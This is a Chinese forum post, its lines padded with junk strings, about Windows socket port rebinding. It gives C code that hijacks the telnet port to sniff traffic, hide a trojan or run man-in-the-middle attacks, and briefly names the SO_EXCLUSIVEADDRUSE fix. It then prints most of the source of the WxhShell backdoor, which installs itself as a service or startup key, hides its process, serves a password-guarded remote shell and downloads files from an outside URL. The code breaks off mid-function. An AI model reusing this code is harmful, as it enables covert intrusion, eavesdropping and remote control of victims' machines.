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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <?&Y_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +}.~"  
vR)f'+_Nz  
  saddr.sin_family = AF_INET; s<XAH7?0  
j v4O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QH d^?H*  
GI[TD?s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2YbI."ob  
D"z3SLFW{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O)jpnNz  
A5\00O~  
  这意味着什么?意味着可以进行如下的攻击: X9-WU\?UC  
 mdtG W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %tvP\(]h  
cS2PrsUx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4m:D8&D_M  
"PD^]m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kF@Z4MB}yr  
VL?sfG0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'xP&u<(F  
$1E'0M`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <3)k M&.B  
-P.51q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %A$5mi^  
JqmxS*_P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n6xJ  
]<xzCPB  
  #include B@ xjwBUk  
  #include j&Trvw<t  
  #include 3n!f'" T  
  #include    x<'<E@jpU;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]J(BaX4  
  int main() @PZ{(  
  { 3!u`PIQv  
  WORD wVersionRequested; kdP*{  
  DWORD ret; F%tV^$%  
  WSADATA wsaData; +L,V_z  
  BOOL val; +7KRoF|  
  SOCKADDR_IN saddr; $VxKv7:  
  SOCKADDR_IN scaddr; GiK4LJ~cH)  
  int err; E~y( @72)  
  SOCKET s; hjgB[ &U>  
  SOCKET sc;  W<@9ndvH  
  int caddsize; ib\_MNIb  
  HANDLE mt; B6yTD7  
  DWORD tid;   11((b  
  wVersionRequested = MAKEWORD( 2, 2 ); WbWEgd%8.  
  err = WSAStartup( wVersionRequested, &wsaData ); }WV}in0  
  if ( err != 0 ) { ^ 7SE2Zi  
  printf("error!WSAStartup failed!\n"); T! ww3d  
  return -1; (UB?UJc  
  } Ab In\,x  
  saddr.sin_family = AF_INET; YW2h#PV6_  
   i,B<k 0W9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dJjkH6%}  
M-8`zA2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KjNA PfL  
  saddr.sin_port = htons(23); @Cml^v@`L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L"tzUYxg  
  { %#<MCiaK  
  printf("error!socket failed!\n"); |Zk2]eUO+  
  return -1; y}U}AUt  
  } sR4B/1'E  
  val = TRUE; o* ~aB_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f}t8V% ^E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) < 2SWfH1>  
  { g.*DlD%%  
  printf("error!setsockopt failed!\n"); M5kw3Jy5  
  return -1; CUN1.i<pk8  
  } .]e_je_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .|e8v _2J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kW7$Gw]-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4:9N]1JCb  
mIZ6[ ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :2.<JUDM  
  { |[)n.N65 =  
  ret=GetLastError(); Y:R*AOx  
  printf("error!bind failed!\n"); ni85Ne$  
  return -1; =<%[P9y  
  } 4nrn Npf`b  
  listen(s,2); Y$5uoq%p3A  
  while(1) w,az{\  
  { rS!M0Hq>t  
  caddsize = sizeof(scaddr); a*&(cn  
  //接受连接请求 T I|h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v1rTl5H  
  if(sc!=INVALID_SOCKET) fKW)h?.Kd  
  { =NmW}x|n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .b? Aq^i8  
  if(mt==NULL) cgi:"y F  
  { b_X&>^4Dkl  
  printf("Thread Creat Failed!\n"); +#Wwah$  
  break; [w90gp1O[  
  } W\2 ']7}e  
  } 7$*X   
  CloseHandle(mt); :,ucJ|  
  } #g/m^8n?s  
  closesocket(s); !z1\ #|>  
  WSACleanup(); nb.|^O?  
  return 0; -wT!g;v;%  
  }   unih"};ou  
  DWORD WINAPI ClientThread(LPVOID lpParam) $^_6,uBM[  
  { GC~nr-O  
  SOCKET ss = (SOCKET)lpParam; _=cU2  
  SOCKET sc; KM+[1Ze$  
  unsigned char buf[4096]; Z (t7QFd  
  SOCKADDR_IN saddr; |\W53,n9  
  long num; |R2p^!m  
  DWORD val; pm=m~  
  DWORD ret; oY+p;&H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N% ?R(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TuEM  
  saddr.sin_family = AF_INET; WvZt~x&2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c5_/i7  
  saddr.sin_port = htons(23); iu?gZVyka  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {_mVfFG  
  { shR|  
  printf("error!socket failed!\n"); UwxszEHC  
  return -1; }<YU4EW  
  } P{x6e/  
  val = 100; %Z p|1J'"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !S%0#d2  
  { 1F_$[iIX]  
  ret = GetLastError(); \,fa"^8  
  return -1; Cs(sar:7  
  } B 6z 'Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! B92W  
  { ah%Ws#&  
  ret = GetLastError(); <DP8a<{{  
  return -1; $ x:N/mMu`  
  } `8S3Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q^:VF()d_z  
  { 5rmU9L  
  printf("error!socket connect failed!\n"); yVp,)T9  
  closesocket(sc); yM`u]p1  
  closesocket(ss); ?5jLN&A3 G  
  return -1; Se_]=>WI  
  } '$c9S[  
  while(1) r6nnRN/S=  
  { :w -:B^VB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +TyN;e   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1+gFfKq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |;7mDhj=  
  num = recv(ss,buf,4096,0); &=x4M]t9L  
  if(num>0) ;*$e8y2  
  send(sc,buf,num,0); Jt[,V*:#  
  else if(num==0) Y!8FW|  
  break; yIcTc  
  num = recv(sc,buf,4096,0); c6lCF &  
  if(num>0) [_nOo`  
  send(ss,buf,num,0); @TQ/Z$y  
  else if(num==0) O5aXa_A_u  
  break; @gfW*PNjlP  
  } lKB9n}P  
  closesocket(ss); ,zdGY]$  
  closesocket(sc); i!RfUod  
  return 0 ; Gx8!AmeX  
  } S2e3d  
_3:%b6&Pz  
``P9fd  
========================================================== ,l6,k<   
71y{Dwya  
下边附上一个代码,,WXhSHELL +ZwoA_k{  
A .Wf6o  
========================================================== 2Kf/Id1  
^;'8yE/  
#include "stdafx.h" &y}7AV  
tfN[-3)Z  
#include <stdio.h> @ ?M\[qeF@  
#include <string.h> Scx!h.\5  
#include <windows.h> 'Y#'ozSQv  
#include <winsock2.h> m$_b\^we  
#include <winsvc.h> e`S\-t?Z  
#include <urlmon.h> v2E<~/|  
5 ty2e`~K  
#pragma comment (lib, "Ws2_32.lib") /IG{j}  
#pragma comment (lib, "urlmon.lib") ROmmak(y8  
lKw-C[  
#define MAX_USER   100 // 最大客户端连接数 B ,cFvS  
#define BUF_SOCK   200 // sock buffer 4~&3.1  
#define KEY_BUFF   255 // 输入 buffer |$b8(g$s)  
y]0O"X-G  
#define REBOOT     0   // 重启 GdcXU:J /  
#define SHUTDOWN   1   // 关机 >x JzV  
!8[T*'LJ-  
#define DEF_PORT   5000 // 监听端口 4`,7 tj  
`hZh}K^  
#define REG_LEN     16   // 注册表键长度 X!qK[b@Z  
#define SVC_LEN     80   // NT服务名长度 CNefk$/cR  
^S 3G%{"  
// 从dll定义API KCW2 UyE]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q(]m1\a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); **L&I5Hhm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p X{wEc6}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jwT` Z  
F5qA!jZ1]  
// wxhshell配置信息 Q{|%kU"  
struct WSCFG { yAryw{(  
  int ws_port;         // 监听端口 HoABo:  
  char ws_passstr[REG_LEN]; // 口令 Ig t*8px  
  int ws_autoins;       // 安装标记, 1=yes 0=no C[<}eD4bV  
  char ws_regname[REG_LEN]; // 注册表键名 {KNaJ/:>W  
  char ws_svcname[REG_LEN]; // 服务名 %*}rLn"?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yr/$92(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T2MC`s|`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7%i'F=LzT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hqvhnqQk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X7huc*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $C;i}q#  
}[;ZZm?  
}; ?E"192 ,z@  
9L:wfg}8s  
// default Wxhshell configuration 'EiCT l  
struct WSCFG wscfg={DEF_PORT, |E7 J5ha  
    "xuhuanlingzhe", qC> tni%  
    1, ZK8)FmT_<O  
    "Wxhshell", B{`adq?pW  
    "Wxhshell", Q?i_Nl/|  
            "WxhShell Service", /"8e,  
    "Wrsky Windows CmdShell Service", |@iM(MM[?  
    "Please Input Your Password: ", OUi;f_*[r  
  1, =|]h-[P'  
  "http://www.wrsky.com/wxhshell.exe", 5[jcw`  
  "Wxhshell.exe" .oyAi||  
    }; T0tX%_6`  
"00j]e.  
// 消息定义模块 ~j'D%:[+VH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7P+1W \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i90X0b-A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'z;(Y*jb  
char *msg_ws_ext="\n\rExit."; Xx{| [2`  
char *msg_ws_end="\n\rQuit."; iz#R)EB/g  
char *msg_ws_boot="\n\rReboot..."; qU !dg  
char *msg_ws_poff="\n\rShutdown..."; ^A@f{g$KB+  
char *msg_ws_down="\n\rSave to "; s#s">hMrI  
%6320 x  
char *msg_ws_err="\n\rErr!"; reN\| ?0{  
char *msg_ws_ok="\n\rOK!"; Xe %J{  
|O_ JUl  
char ExeFile[MAX_PATH]; ]ub"OsXC  
int nUser = 0; R^.PKT2E  
HANDLE handles[MAX_USER]; &))d],tJX  
int OsIsNt; ik(Du/  
/P*XB%y  
SERVICE_STATUS       serviceStatus; -lhIL}mGf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k sv]  
o~~;I  
// 函数声明 .jCGtR )%  
int Install(void); X[o+Y@bc  
int Uninstall(void); 9fEe={ B+  
int DownloadFile(char *sURL, SOCKET wsh); 'Gn>~m  
int Boot(int flag); Y1-dpML  
void HideProc(void); [7I bT:ph  
int GetOsVer(void); [f_^B U&  
int Wxhshell(SOCKET wsl); 1?Y>Xz  
void TalkWithClient(void *cs); )XDBK* !  
int CmdShell(SOCKET sock); m[}k]PB>  
int StartFromService(void); Ic2?1<IZA  
int StartWxhshell(LPSTR lpCmdLine); jw:z2:0~  
S[zvR9AW&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $H@SXx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7\6g>4J^`  
[A7TSN  
// 数据结构和表定义 l;iU9<~  
SERVICE_TABLE_ENTRY DispatchTable[] = ipwlP|UjQ5  
{ z$?F^3>  
{wscfg.ws_svcname, NTServiceMain}, 3J#LxYK  
{NULL, NULL} ty,oj33  
}; 1,wcf,  
ddfGR/1X  
// 自我安装 @ b!]Jw  
int Install(void) .yj@hpJM  
{ @ wR3L:@  
  char svExeFile[MAX_PATH]; *6/IO&y1a  
  HKEY key; B>fZH \Y  
  strcpy(svExeFile,ExeFile); ]bY|>q  
e'K~WNT  
// 如果是win9x系统,修改注册表设为自启动 MT-Tt  
if(!OsIsNt) { F@u7Oel@m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Lub.r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <gF]9%2E  
  RegCloseKey(key); k_7m[o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *]]Zpa6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E{orezP  
  RegCloseKey(key); 'dKfXYY1`N  
  return 0; wb$uq/|  
    } .g8*K "  
  } `9^tuR,  
} |{N{VK  
else { PR@6=[|d  
KR>)Ek  
// 如果是NT以上系统,安装为系统服务 h^\vk!Q-d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /f#b;qa,  
if (schSCManager!=0) OIP]9lM$nC  
{ ?@ oF@AEx=  
  SC_HANDLE schService = CreateService KW .4 9  
  ( 3+6Ed;P  
  schSCManager, 1p}Wj*mc  
  wscfg.ws_svcname, v&d1ACctJ  
  wscfg.ws_svcdisp, 5%I3eL%s  
  SERVICE_ALL_ACCESS, $,}jz.R@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R(wUu#n$  
  SERVICE_AUTO_START, p/ ITg  
  SERVICE_ERROR_NORMAL, ^lHy)!&A  
  svExeFile, w5%Yi {  
  NULL, " @D  
  NULL, TPN+jK  
  NULL, $%~ JG(  
  NULL, zgwez$  
  NULL <F7a!$zQ  
  ); ' h7Faj  
  if (schService!=0) q^aDZzx,z  
  { g6,DBkv2  
  CloseServiceHandle(schService); |[.-pA^  
  CloseServiceHandle(schSCManager); sy"}25s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3k1e  
  strcat(svExeFile,wscfg.ws_svcname); 17s~mqy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '`2KLO>!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %>m.Z#R(  
  RegCloseKey(key); jri"#H  
  return 0; !eF(WbU0  
    } 7X>IS#W]  
  } K0.aU  
  CloseServiceHandle(schSCManager); 8&2 +=<Q~  
} ?4b0\ -  
} -Uo11'{  
i=gZ8Q=H  
return 1; , #)d  
} 1wR[nBg*|  
oXm !  
// 自我卸载  QHNyH  
int Uninstall(void) ~[%CUc"  
{ KwL_ae6fV  
  HKEY key; d/; tq  
cw<I L  
if(!OsIsNt) { [M\ an6h6O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3x[C pg,  
  RegDeleteValue(key,wscfg.ws_regname); t7]j6>MK3q  
  RegCloseKey(key); ;u<Ah?w=Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <X)\P}"L4  
  RegDeleteValue(key,wscfg.ws_regname); /*#o1W?wQZ  
  RegCloseKey(key); ^FLs_=E  
  return 0; :{%[6lE^G  
  } hE&6;3">  
} es)^^kGj6f  
} ` s7pM  
else { aw*]b.f  
DB|1Sqjsn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^ptybVo  
if (schSCManager!=0) JN wI{  
{ PeJ#9hI~rQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nj s:  
  if (schService!=0) ^%7(  
  { ]rv\sD`[  
  if(DeleteService(schService)!=0) { wK(]E%\  
  CloseServiceHandle(schService);  V9) /  
  CloseServiceHandle(schSCManager); 'n'>+W:  
  return 0; ^-"Iw y  
  } c1Ks{%iA  
  CloseServiceHandle(schService); Q!+AiSTU  
  } vG_R( ]d  
  CloseServiceHandle(schSCManager); @62,.\F  
} EZ<:>V-_D  
} 'zYS:W  
MJGT|u8O&  
return 1; _LaG%* R6  
} 3x;UAi+&  
cUR :a @  
// 从指定url下载文件 ~(R=3  
int DownloadFile(char *sURL, SOCKET wsh) 9S%5 Z>  
{ So 1TH%  
  HRESULT hr; `58%&3lp  
char seps[]= "/"; Yz/Blh%V  
char *token; ^\ [p6>  
char *file; leC!Yj  
char myURL[MAX_PATH]; R/~!km  
char myFILE[MAX_PATH]; 1$0Kvvg[  
vfkF@^D  
strcpy(myURL,sURL); 2d .$V,U<  
  token=strtok(myURL,seps); *Ypn@YpSp  
  while(token!=NULL) " aG6u^%  
  { F'K >@y  
    file=token; cr!8Tp;2A  
  token=strtok(NULL,seps); P*&[9 )d6  
  } u}%OC43  
aGbG@c8PRi  
GetCurrentDirectory(MAX_PATH,myFILE); 5SY%B#;5G  
strcat(myFILE, "\\"); bWo  
strcat(myFILE, file); "u6pl);G  
  send(wsh,myFILE,strlen(myFILE),0); rDWAZ<;;  
send(wsh,"...",3,0); ogFo/TKM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Sd5]r@+  
  if(hr==S_OK) YZf{."Opj[  
return 0; Jw]!x1rF~  
else W:i Q& [f  
return 1; $}&a*c>  
c]M+|R5  
} cp Ot?XYR~  
hL3up]pZ  
// 系统电源模块 g7zl5^o3j  
int Boot(int flag) $]DuO1H./  
{ @7nZjrH  
  HANDLE hToken; Jinh#iar  
  TOKEN_PRIVILEGES tkp; !{-W%=Kf  
V;: k-  
  if(OsIsNt) { (7g"ppf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _mqU:?Q5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bL7Gkbs&|  
    tkp.PrivilegeCount = 1; Cu+p!hV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {]dxFhe)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :TTq   
if(flag==REBOOT) { 1X)#iY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tksv7*5$  
  return 0; d_`MS@2  
} rnK]3Ust  
else { Wr[LC&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xQ"uC!Gu4  
  return 0; q1VKoKb6\:  
} T ~xVHk1  
  } NMkP#s7.y  
  else { \Eh5g/,[  
if(flag==REBOOT) { d_,Mylk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {"'M2w:|D1  
  return 0; 4np2I~ !  
} ) f~;P+  
else { |.c4y*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %NkiYiA  
  return 0; fS"u"]j*e  
} nuq@m0t\#  
} I2/am8!u%  
$[X][[  
return 1; I7U/={[J  
} zbFy3-RP  
E3'I;  
// win9x进程隐藏模块 Pn9".  
void HideProc(void) Vo"G@W)lZ  
{ "e-Y?_S7R8  
.JKH=?~\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fn<dr(Dx  
  if ( hKernel != NULL ) JzEg`Sn^  
  { E{V?[HcWq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T9c7cp[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U '{PpZ  
    FreeLibrary(hKernel); &0T.o,&y  
  } V=ll 9M  
M5 VW1Ns  
return; w,IJ44f ^%  
} --]blP7  
9Z -2MF  
// 获取操作系统版本 |.9PwD8~VD  
int GetOsVer(void) %X_A#9  
{ ' wl})  
  OSVERSIONINFO winfo; nT|WJ%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )cH\i91  
  GetVersionEx(&winfo); O]XRalkEM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sNx_9pJs4  
  return 1; h?TIxo:6/  
  else 807+|Ol[  
  return 0; I q|'#hs  
} ,9y6:W%5  
Kii@Z5R_?  
// 客户端句柄模块 +j: &_  
int Wxhshell(SOCKET wsl) X8tPn_`x  
{ vEx'~_+a9  
  SOCKET wsh; w~6/p  
  struct sockaddr_in client; le^Fik   
  DWORD myID; wbWC &X.  
ll5;09  
  while(nUser<MAX_USER) P'h39XoZ  
{ JcRxNH )<"  
  int nSize=sizeof(client);  !y@\w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :NLY;B`  
  if(wsh==INVALID_SOCKET) return 1; ?*V\ -7jg  
uVgA <*0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FtJaX])b  
if(handles[nUser]==0) ~Y43`@3H:  
  closesocket(wsh); |~A*?6:@  
else S(3h{Y"#  
  nUser++; E0qJ.v  
  } ir'<H<t2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i?B<&'G  
T ?Om]:j  
  return 0; 7s%D(;W_Mo  
} GipiO5)1C  
X#T|.mCdC  
// 关闭 socket 6c+29@  
void CloseIt(SOCKET wsh) ~0CNCP  
{ Y1lUO[F j  
closesocket(wsh); \X %#-y  
nUser--; f/L8usBXq  
ExitThread(0); y={ k7  
} ~d&&\EZ  
&DGqY5=  
// 客户端请求句柄 G!`%.tH  
void TalkWithClient(void *cs) =X(N+(1~  
{ 'sAkrl8kt  
ty!DMg#  
  SOCKET wsh=(SOCKET)cs; 6\l F  
  char pwd[SVC_LEN]; t _ CMsp  
  char cmd[KEY_BUFF]; #>_t[9;  
char chr[1]; mqeW,89  
int i,j; ();Z,A  
ecm+33C  
  while (nUser < MAX_USER) { C2LG@iCIE  
iOm&(2/  
if(wscfg.ws_passstr) { )T '?"guh`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -0a3eg)Z*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;nh_L(  
  //ZeroMemory(pwd,KEY_BUFF); ],AtR1k  
      i=0; At>e4t2@  
  while(i<SVC_LEN) { )[Rwc#PA;  
G l/3*J  
  // 设置超时 2G|}ENC  
  fd_set FdRead; 2KXF XR  
  struct timeval TimeOut; C=;}7g  
  FD_ZERO(&FdRead); w*'DlP<7  
  FD_SET(wsh,&FdRead); gD%o0 jt"  
  TimeOut.tv_sec=8; .z CkB86  
  TimeOut.tv_usec=0; ;xq;c\N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @<P;F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )j]f ]8  
j*2/[Eq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oTk\r$4eb  
  pwd=chr[0]; Wv3p!zW3I  
  if(chr[0]==0xd || chr[0]==0xa) { n<EIu  
  pwd=0; Af]BR_-  
  break;  l  
  } FM3.z)>  
  i++; 0<A*I{,4L  
    } fC"? r6d  
6jMc|he  
  // 如果是非法用户,关闭 socket gRs @T<k2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %>nAPO+e  
} F6{ O  
_0[s]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /W>?p@j+K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aIT0t0.  
q8_E_s-U,  
while(1) { p8]XNe  
W;Dik%^tg  
  ZeroMemory(cmd,KEY_BUFF); z__{6"^  
O 8l`1  
      // 自动支持客户端 telnet标准   9XUYy2{G  
  j=0; Fbotn(\h@  
  while(j<KEY_BUFF) { %N\45nYU:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !*^+7M  
  cmd[j]=chr[0]; e}gGl<((g  
  if(chr[0]==0xa || chr[0]==0xd) { (CDh,ZN;|  
  cmd[j]=0; =s AOWI,8!  
  break; 7F]oK0l_  
  } Gf7r!Ur;g  
  j++; 3-y2i/4}$  
    } P2>_qyX  
cgcU2N6y;  
  // 下载文件 9R+ qw  
  if(strstr(cmd,"http://")) { varaBFD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,o2x,I  
  if(DownloadFile(cmd,wsh)) JWM4S4yZHR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R74RJi&  
  else iMYJVB=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1jK2*y  
  } \Pfm>$Ib=  
  else { " u]X/ {L  
3DjX0Dx/l  
    switch(cmd[0]) { 4d`f?8vS  
  gT fA]  
  // 帮助 /xg1i1Et  
  case '?': { *Ta {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u<\Sf"fs  
    break; 2zsDb'r  
  } =?M{B1;H  
  // 安装 ?YFSK  
  case 'i': { o|KmKC n>  
    if(Install()) YFcMU5_F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m 2%  
    else 41C6ey  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gf;B&MM6  
    break; fob.?ID-;  
    } &)Vuh=  
  // 卸载 )\e0L/K@  
  case 'r': { O2Y1D`&5  
    if(Uninstall()) 9j5k=IXg#a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y>i Qp/k:  
    else %B>>J%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #3C] "  
    break; <7%#RJwe  
    } Zh:@A Fz:R  
  // 显示 wxhshell 所在路径 W1}d6Sbg  
  case 'p': { =b3<}]  
    char svExeFile[MAX_PATH]; -!j5j:RR  
    strcpy(svExeFile,"\n\r"); ,PWMl [X  
      strcat(svExeFile,ExeFile); CrGDo9JdvT  
        send(wsh,svExeFile,strlen(svExeFile),0); U4NA'1yo  
    break; + VhD]!  
    } N@? z&urQi  
  // 重启 Cj)*JZV G  
  case 'b': { -C* UB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .A6Jj4`-  
    if(Boot(REBOOT)) ?Ql<s8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |dqAT.  
    else { gr >>]C$  
    closesocket(wsh); C%P"\>5@  
    ExitThread(0); x*_'uPo S  
    } &K"qnng/y  
    break; O3L:v{Kn  
    } GZiN&}5e  
  // 关机 0@jhNtL  
  case 'd': { " V4ru&a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I(Q3YDdb  
    if(Boot(SHUTDOWN)) ]E vK.ORy  
